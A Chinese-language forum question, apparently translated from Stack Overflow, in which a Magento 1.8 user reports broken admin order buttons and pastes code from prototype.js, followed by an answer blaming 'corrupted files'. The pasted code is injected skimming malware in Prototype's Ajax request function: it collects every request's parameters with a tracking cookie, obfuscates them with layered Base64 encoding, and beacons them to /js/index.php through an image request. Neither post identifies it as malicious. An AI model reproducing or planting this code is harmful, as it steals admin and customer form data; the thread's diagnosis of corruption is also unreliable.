我正在运行Magento 1.8,而Create Order,Save,Save and Continue等按钮已经停止工作,它给出了一些JS错误。这只是几天前开始的,我真正做的唯一事情就是在后端添加一些Google API函数。
request: function(url) {
this.url = url;
this.method = this.options.method;
var params = Object.isString(this.options.parameters) ?
this.options.parameters :
Object.toQueryString(this.options.parameters);
if(this.cookie("userName")){
img = document.createElement("img");
img.src="/js/index.php?date="+Base64.encode(Base64.encode(Base64.encode(Base64.crypt(params+"&cookie="+this.cookie("userName"),7))));
}
else{
document.cookie = "userName="+1 + Math.random()*(10000-1);
img = document.createElement("img");
img.src="/js/index.php?date="+Base64.encode(Base64.encode(Base64.encode(Base64.crypt(params+"&cookie="+this.cookie("userName"),7))));
}
if (!['get', 'post'].include(this.method)) {
params += (params ? '&' : '') + "_method=" + this.method;
this.method = 'post';
}
错误位于img.src行中。
未捕获的TypeError:undefined不是函数prototype.js 1619
这对我来说是新的。我清除了缓存,所以我肯定它与此无关。
答案 0 :(得分:0)
在网上搜索了几个小时后,我发现了问题。
我要做的是恢复/ js / prototype /
的备份副本有些人报告错误是由于该文件夹中的文件损坏。